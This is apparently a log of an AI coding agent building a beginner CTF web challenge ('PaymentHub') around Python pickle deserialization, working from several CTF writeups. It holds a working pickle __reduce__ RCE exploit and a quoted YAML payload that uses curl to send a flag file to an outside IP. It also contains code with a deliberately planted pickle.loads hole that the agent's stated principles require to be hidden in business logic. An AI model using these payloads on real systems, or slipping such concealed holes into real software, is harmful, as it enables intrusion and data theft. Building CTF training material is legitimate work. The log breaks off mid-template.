🤖 # 阶段1:用户输入需求 [2026-01-08 12:16:36] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0 根据用户输入,确认需求如下: ``` 语言:Python 难度:入门(最多1个漏洞) 漏洞:Python反序列化 场景:支付平台 ``` --- # 阶段2:漏洞主次分类 [2026-01-08 12:16:36] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1 **入门难度只允许1个漏洞,跳过此阶段** - 主漏洞:Python反序列化(分配 5 篇 writeup) --- # 阶段3:知识库获取 [2026-01-08 12:16:36] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2 ## 3.1 获取学习材料 使用 choice.py 从知识库获取 Python反序列化 相关的 writeup: 🔧 Tool call: launch-process command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 60 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - File Store.md - Homedrive.md - Paddle.md - Pickle Store.md - flask_caching.md 🤖 现在读取这5篇 writeup 文件: 🔧 Tool call: view path: "data/writeups/File Store.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/File Store.md: 1 # KalmarCTF 2024 2 3 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), 4 [CTFtime](https://ctftime.org/team/284495)) 5 6 ## web 7 8 ### File Store (59 Solves) 9 10 #### Prompt 11 12 > Upload your files on the Kalmar File Store and share them with your friends. 13 > 14 > Note: For this challenge, you will not be sharing it by anybody else. Thus, ... (458 more lines) 🤖 继续读取其他 writeup 文件: 🔧 Tool call: view path: "data/writeups/Homedrive.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Homedrive.md: 1 Short writeup per now. will update later 2 3 create yaml file 4 `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` 5 ``` 6 http POST http://172.30.0.8:5000/register Host:manager.home.drive 7 username=admin [email protected] password=admin 8 HTTP/1.0 200 OK 9 Content-Length: 37 10 Content-Type: application/json 11 Date: Sun, 15 Aug 2021 03:07:47 GMT 12 Server: Werkzeug/2.0.1 Python/3.9.6 13 14 { ... (27 more lines) 🤖 继续读取其他 writeup 文件: 🔧 Tool call: view [2026-01-08 12:16:54] [INFO] [Augment] [已处理 100 行] path: "data/writeups/Paddle.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Paddle.md: 1 # Paddle 2 3 **Tags**: Clone-and-Pwn, web 4 5 > Flexible to serve ML models, and more. 6 7 For this challenge, we are given a Dockerfile that installs the latest version 8 of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the 9 built-in demo. 10 11 ```Dockerfile 12 FROM python:3.6-slim 13 RUN apt-get update && \ 14 apt-get install libgomp1 && \ ... (97 more lines) 🤖 继续读取其他 writeup 文件: 🔧 Tool call: view path: "data/writeups/Pickle Store.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Pickle Store.md: 1 # Pickle Store 2 3 \- 223 Points / 109 Solves 4 5 ## Background 6 7 New pickles just dropped! Check out the store. 8 9 [https://pickles-web.challenges.ctf.ritsec.club/](https://pickles- 10 web.challenges.ctf.ritsec.club/) 11 12 ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC- 13 CTF-2023/images/Pasted%20image%2020230402122900.png) 14 ... (273 more lines) 🤖 继续读取最后一个 writeup 文件: 🔧 Tool call: view path: "data/writeups/flask_caching.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/flask_caching.md: 1 # flask_caching (Web, 300 points) 2 3 > cache all the things (this is python3) 4 > http://web.chal.csaw.io:5000 5 6 This challenge serves up a Flask web application where we are able to upload 7 a note with a title and file, which it puts into the Redis database. It also 8 uses `flask_caching` on many endpoints just because. The source code was 9 provided in `app.py` and the relevant parts are included below: 10 11 ```python 12 @app.route('/', methods=['GET', 'POST']) 13 def notes_post(): 14 if request.method == 'GET': ... (108 more lines) 🤖 # 阶段4:知识整理 [2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3 ## 可借鉴技巧清单 | 技巧 | 来源 | 代码片段 | 适用场景 | |------|------|---------|---------| | Pickle反序列化RCE | File Store.md | `class RCE:\n def __reduce__(self):\n import os\n return os.system, (cmd,)` | Python Web应用 | | Base64编码传输 | Pickle Store.md | `base64.b64encode(pickle.dumps(P())).decode()` | Cookie/参数传输 | | Session文件操作 | File Store.md | `redis.setex(name=title, value=content, time=30)` | 会话存储 | | YAML反序列化 | Homedrive.md | `!python/object/apply:os.system ["cmd"]` | YAML配置文件 | | Pickle + Redis | flask_caching.md | `payload = b"!" + pickle.dumps(RCE())` | 缓存系统 | | 文件上传触发 | File Store.md | `f.save(path + '/' + f.filename)` | 文件上传功能 | | 命令执行读取flag | Pickle Store.md | `os.system('cat /flag.txt > /app/static/uploads/flag.txt')` | 获取flag | | Pickle dumps/loads | flask_caching.md | `pickle.loads(value[1:])` | 反序列化触发点 | --- # 阶段5:题目设计 [2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4 ## 5.1 设计目标 - **差异度**:入门 ≥20%(与现有题目不同的创新点) - **深度**:入门 1.5-4.0 - **趣味性**:入门 0-1 个啊哈时刻 ## 5.2 利用链设计 | 步骤 | 类型 | 技术点 | 深度 | 知识来源 | |------|------|--------|------|---------| | Step 1 | 信息收集 | 访问支付平台,发现订单查询功能 | 1.0/10 | 通用 | | Step 2 | 功能探索 | 发现可以保存订单到Cookie | 1.5/10 | Pickle Store.md | | Step 3 | 漏洞识别 | Cookie中存储Base64编码的序列化数据 | 2.0/10 | Pickle Store.md | | Step 4 | 漏洞利用 | 构造恶意Pickle对象获取RCE | 3.5/10 | File Store.md | | Step 5 | 获取Flag | 执行命令读取flag文件 | 4.0/10 | Pickle Store.md | [2026-01-08 12:17:41] [INFO] [Augment] [已处理 200 行] **平均深度**: (1.0 + 1.5 + 2.0 + 3.5 + 4.0) / 5 = 2.4/10 ✅ 符合入门要求 **啊哈时刻**: 发现Cookie中的Base64数据是Pickle序列化对象 ## 5.3 核心代码预写 ### 漏洞触发代码(后端) ❌ 安全写法(不能触发): ```python import json order_data = json.loads(base64.b64decode(cookie_value)) ``` ✅ 漏洞写法(能触发): ```python import pickle import base64 order_data = pickle.loads(base64.b64decode(cookie_value)) ``` ### exp 核心代码 ```python import pickle import base64 import requests class RCE: def __reduce__(self): import os return os.system, ('cat /flag > /app/static/flag.txt',) payload = base64.b64encode(pickle.dumps(RCE())).decode() cookies = {'order': payload} r = requests.get('http://localhost:5000/order', cookies=cookies) flag_response = requests.get('http://localhost:5000/static/flag.txt') print(flag_response.text) ``` ### 依赖清单 - Flask==2.0.1 - requests==2.28.0 ## 5.3.1 代码可运行性自检 1. **导入完整吗?** ✅ pickle, base64, os, requests 都已导入 2. **路由正确吗?** ✅ `/order` 路由接收Cookie,`/static/flag.txt` 提供静态文件 3. **参数名一致吗?** ✅ Cookie名称为 `order` 4. **响应格式对吗?** ✅ 通过静态文件路径获取flag ## 5.4 简易 exp 草稿(用于 Docker 测试) ```python import pickle import base64 import requests url = "http://localhost:5000" class RCE: def __reduce__(self): import os return os.system, ('cat /flag > /app/static/flag.txt',) payload = base64.b64encode(pickle.dumps(RCE())).decode() print(f"[*] Payload: {payload}") cookies = {'order': payload} r = requests.get(f"{url}/order", cookies=cookies) print(f"[*] Trigger response: {r.status_code}") import time time.sleep(1) flag_response = requests.get(f"{url}/static/flag.txt") print(f"[*] Flag: {flag_response.text}") ``` ## 5.5 设计摘要 ``` ### 设计摘要 - 题目名称:PaymentHub - 利用链:访问首页 -> 创建订单 -> 查看订单(Cookie中存储Pickle) -> 构造恶意Pickle -> 获取RCE -> 读取flag - 黑名单:无 - 关键 payload:base64编码的恶意Pickle对象 - 容器端口:5000 ``` --- # 阶段6:质量检查 [2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5 ### 检查清单 - [x] **深度达标**:平均深度 2.4/10,最高深度 4.0/10,符合入门要求(1.5-4.0) - [x] **漏洞覆盖**:Python反序列化漏洞已在利用链中 - [x] **代码可行**:阶段 5.3 的核心代码能正常运行 [2026-01-08 12:17:41] [INFO] [Augment] [已处理 300 行] - [x] **payload 兼容**:无黑名单,payload 不会被阻断 ✅ **质量检查通过,进入代码生成阶段** --- # 阶段7:代码生成 [2026-01-08 12:17:41] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6 ## 7.1 生成原则确认 1. **完整性**:包含所有设计的功能点和漏洞点 ✅ 2. **零注释**:代码中禁止任何注释 ✅ 3. **真实性**:模拟真实业务逻辑 ✅ 4. **隐蔽性**:漏洞点自然隐藏在业务逻辑中 ✅ 5. **不提供源码**:可以硬编码管理员密码 ✅ ## 7.2 增量生成 - 后端代码 ### 附录 B:代码生成前最终检查 #### 后端代码 ``` □ 我用的是什么框架?版本是多少? 答:Flask 2.0.1 □ 漏洞触发点在哪一行?用的是"漏洞写法"还是"安全写法"? 答:在 /order 路由中,使用 pickle.loads() 反序列化Cookie,使用"漏洞写法" □ 所有 import 都写了吗? 答:需要 Flask, pickle, base64, os, datetime □ 路由路径是什么?请求方法是 GET 还是 POST? 答:/ (GET/POST), /order (GET), /static/ (GET) □ 接收参数用的是什么名字? 答:Cookie名称为 'order' ``` 现在生成后端代码: 🔧 Tool call: launch-process command: "date +"%Y%m%d_%H%M%S"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 10 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: 20260108_121741 🤖 好的,我将继续生成代码。首先创建目录结构: 🔧 Tool call: launch-process command: "mkdir -p output/20260108_121741_PaymentHub/docker/web/{files,src/templates,src/static}" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true 📋 Tool result: launch-process ✅ Command completed successfully (No output) 🤖 好的,现在开始生成文件。我会分段生成。 ## 生成后端代码 app.py 🔧 Tool call: save-file instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260108_121741_PaymentHub/docker/web/src/app.py" file_content: "from flask import Flask, render_template, request, make_response import pickle import base64 import os from datetime import datetime app = Flask(__name__) orders_db = {} @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': ... (54 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/app.py} 🤖 好的,继续生成前端模板文件。 ## 生成前端模板 - index.html 🔧 Tool call: save-file file_content: " PaymentHub - Secure Payment Platform [2026-01-08 12:18:07] [INFO] [Augment] [已处理 400 行]

PaymentHub

Your Trusted Payment Solution

Create New Payment Order

{% if error %}
{{ error }}
... (27 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/index.html} 🤖 好的,我会继续分段生成文件。 ## 生成前端模板 - success.html 🔧 Tool call: save-file file_content: " Order Created - PaymentHub

PaymentHub

✓ Order Created Successfully!

Your order ID: #{{ order_id }}

Your order has been saved securely.

... (10 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/success.html} 🤖 好的,我会继续分段生成剩余文件。 ## 生成前端模板 - order.html 🔧 Tool call: save-file file_content: " Order Details - PaymentHub

PaymentHub

Order Details

Order ID: #{{ order.id }} ... (29 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260108_121741_PaymentHub/docker/web/src/templates/order.html} 🤖 好的,我会继续分段生成剩余文件。 ## 生成前端模板 - error.html 🔧 Tool call: save-file file_content: " Error - PaymentHub

PaymentHub

⚠ Error

{{ message }}